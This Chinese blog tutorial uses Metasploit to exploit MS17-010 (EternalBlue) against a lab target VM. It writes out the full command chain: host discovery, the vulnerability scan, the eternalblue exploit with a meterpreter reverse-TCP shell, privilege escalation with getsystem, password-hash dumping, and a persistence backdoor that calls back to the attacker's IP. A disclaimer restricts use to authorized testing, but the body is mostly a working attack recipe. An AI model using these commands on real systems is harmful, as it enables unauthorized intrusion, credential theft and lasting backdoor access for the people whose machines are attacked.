【MSF 每日一练】MS17-010(永恒之蓝)

免责声明

        本教程仅供教育和研究目的,请在合法授权下使用。所有操作必须在自己的测试环境中进行,严禁对未授权系统实施攻击。作者不对任何因使用本内容导致的后果负责。使用者须遵守相关法律法规。

引言

        那么从今天开始我将每天发布一个使用 MSF 的练习,这些练习不会很难,供初学者练手使用,仅需有一定在Linux 基础即可学习,成为一名合格的脚本小子。

        作为第一篇文章,我觉得我有必要简洁的介绍一下我们使用的 MSF,之后的文章中不会有了。

什么是 MSF?

        Metasploit Framework 是一个开源的渗透测试框架,它集成了大量的漏洞利用模块、辅助模块和后渗透工具,帮助安全人员测试系统的安全性。简单来说,它就像是一个"黑客工具箱",里面装满了各种测试工具,常被简称为 MSF。

MSF 的主要组件:

  • msfconsole:主控制台,我们主要在这里操作

  • 模块(Modules)

        Exploits: 漏洞利用程序

        Payloads: 载荷,成功利用漏洞后在目标上执行的代码

        Auxiliary: 辅助模块,如扫描器

        Post: 后渗透模块,获取访问权限后使用

基本使用方法

1. 启动 MSF

        打开 Kali 终端,输入

sudo msfconsole

        当你看到 MSF 的启动画面时,说明已经成功进入了MSF 控制台。

2. 基本命令

        首先让我们了解一些基本命令:

help             # 显示帮助信息
search 关键词     # 搜索相关模块
info 模块名称     # 查看模块详细信息
use 模块路径      # 使用指定模块
show options     # 显示当前模块需要设置的选项
set 选项 参数     # 设置模块选项参数
run              # 执行当前模块

        如,假如你想搜寻 Windows 相关漏洞:

search windows

        也可进行筛选缩小范围:

search type:exploit platform:windows

3. MSF 使用流程

        MSF 的操作极其简单,只有三个步骤:选择模块,设置模块参数,执行模块,也就是 use set run 打一套组合拳。

MS17-010(永恒之蓝)漏洞介绍

1. 漏洞概述

        MS17-010,通常被称为“永恒之蓝”(EternalBlue),是一个影响 Windows 系统 SMB(服务器消息块)服务的严重安全漏洞。它于 2017 年 3 月 14 日被微软正式披露并发布补丁,但在 2017 年 5 月被用于全球范围内的 WannaCry 勒索软件攻击后才真正引起全世界的注意。

2. 漏洞本质

  • 类型:SMB 协议中的远程代码执行漏洞(RCE)

  • CVE编号:CVE-2017-0143 至 CVE-2017-0148

  • 影响组件:Windows SMB

3. 原理

        永恒之蓝漏洞利用了 Windows SMB v1 协议处理特定请求的缺陷:

  • 攻击者向 SMB 服务发送特制的数据包

  • 这些数据包触发 SMB 服务中的缓冲区溢出

  • 溢出允许攻击者在目标系统上执行任意代码

  • 由于 SMB 服务通常以 SYSTEM 权限运行,攻击者可直接获得系统最高权限

4. 受影响系统

  • Windows XP

  • Windows Vista

  • Windows 7

  • Windows 8/8.1

  • Windows 10(早期版本)

  • Windows Server 2003

  • Windows Server 2008/2008 R2

  • Windows Server 2012/2012 R2

  • Windows Server 2016(早期版本)

5. 严重性

  • CVSS评分:9.3(严重)

  • 攻击向量:网络

  • 攻击复杂度:低

  • 特权要求:无需任何权限

  • 用户交互:无需用户交互

漏洞注入

1. 信息收集

        首先,我们既然要打靶机 ,必须需要知道它的 IP 地址,则可以调用 arp_sweep 模块(ARP 是地址解析协议,用于将 IP 地址映射到 MAC 地址),它可以用于发现同一网络中的活跃主机,首先搜索该模块:

search arp_sweep

        可以看到该模块的路径,可以直接复制该路径使用模块:

use auxiliary/scanner/discovery/arp_sweep

        也可以使用模块编号,也就是 # 那列的序号:

use 0

        这时候就可以用 show options 查看模块需要设置的选项了:

show options

        可以看到,Required 列为 yes 的为必须设置的选项,在 Current Setting 列已经有值的为系统设置的默认值,我们暂时不用改它,可以看到 RHOSTS 为空,且 Required 为 yes,那么我们要设置它:

set RHOSTS 192.168.206.0/24

        RHOSTS 是“Remote Hosts”的缩写,表示目标主机。这条命令会扫描整个 192.168.206.0 到 192.168.206.255 范围内的所有主机。你需要根据你的网段来调整这个值,如果不知道自己所处的网段,使用 ifconfig 即可查看,此为 Linux 基础不再赘述。

接着执行:

run

        可以看到靶机的 IP 地址为 192.168.206.133(剩下两个 IP 都是 VMware 的默认配置)。

2. 漏洞扫描

        锁定靶机 IP 后,我们需要确认它是否存在 MS17-010 漏洞:

use auxiliary/scanner/smb/smb_ms17_010

        这个模块专门检测 MS17-010 漏洞,自己进行渗透测试时,可以使用 search 找到该模块,不需要背路径。

        设置靶机 IP(此处省略了 show options 的过程):

set RHOSTS 192.168.206.133

        可以看到,显示“Host is likely VULNERABLE to MS17-010!”证明该靶机极大可能存在 MS17-010 漏洞。

3. 漏洞利用

        确认靶机存在漏洞后,我们已经可以尝试利用它,此处依然省略 search 过程:

use exploit/windows/smb/ms17_010_eternalblue

        我们使用 show options 查看该模块需要设置的选项:

        可以看到,绝大多数参数都有默认值,我们只需设置 RHOSTS,也就是刚刚查询到的靶机 IP 即可。

set RHOSTS 192.168.206.133

        这里的载荷也被设置好了,使用的是“windows/x64/meterpreter/reverse_tcp”该路径代表:

  • windows:目标操作系统平台

  • x64:64 位架构

  • meterpreter:高级后渗透工具,提供交互式shell

  • reverse_tcp:连接方式,通过 TCP 协议反向连接回攻击者

        若未设置,可使用:

set PAYLOAD windows/x64/meterpreter/reverse_tcp

        本机的 IP 和端口号(用于接收反向连接)已经被默认设置好了,若需要更改端口号也可以使用:

set LPORT XXXXX

        这将会把接收端口号设置为 xxxxx(替换为你想设置的闲置端口号)。

        设置好后,直接执行:

run

4. Meterpreter 会话

        如果攻击成功,你会获得一个 Meterpreter 会话。也就是我们刚刚设置的 Payload。

        在该会话中,你可以执行:

getuid

        这会显示我们在靶机中的用户权限,如果显示“NT AUTHORITY\SYSTEM”表示已获得系统最高权限。

        可以使用 sysinfo 查看靶机系统的操作系统版本、计算机名等信息。

5. 提权

        若没有获得 SYSTEM 权限,你可以尝试提权:

getsystem

        这个命令会尝试多种方法自动获取 SYSTEM 权限。

        我们也可以获取系统中的密码哈希:

run post/windows/gather/smart_hashdump

        在已建立的 Meterpreter 会话中,可以直接使用 run 命令执行各种后渗透模块,不需要提前 use set。

run 模块名称 参数1 参数2 参数3

6. 后门植入

        为了在将来能够重新连接到目标,我们可以植入后门:

run persistence -X -i 30 -p 4444 -r 192.168.206.129

        调用 persistence 模块,用于建立持久化连接。

        可选项参数解释:

  • -X:在系统启动时运行

  • -i 30:每 30 秒尝试连接一次

  • -p 4444:替换为你的闲置端口号

  • -r 192.168.206.129:替换为你的 IP 地址

        之后我们设置一个监听器等待连接即可:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.206.129
set LPORT 4444
run -j

        此处 -j 可选项为后台执行。

        执行后,当目标系统启动并运行持久化模块时,它会尝试连接回你的机器,我们将获得一个新的 Meterpreter 会话。

总结

        懒得写了。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值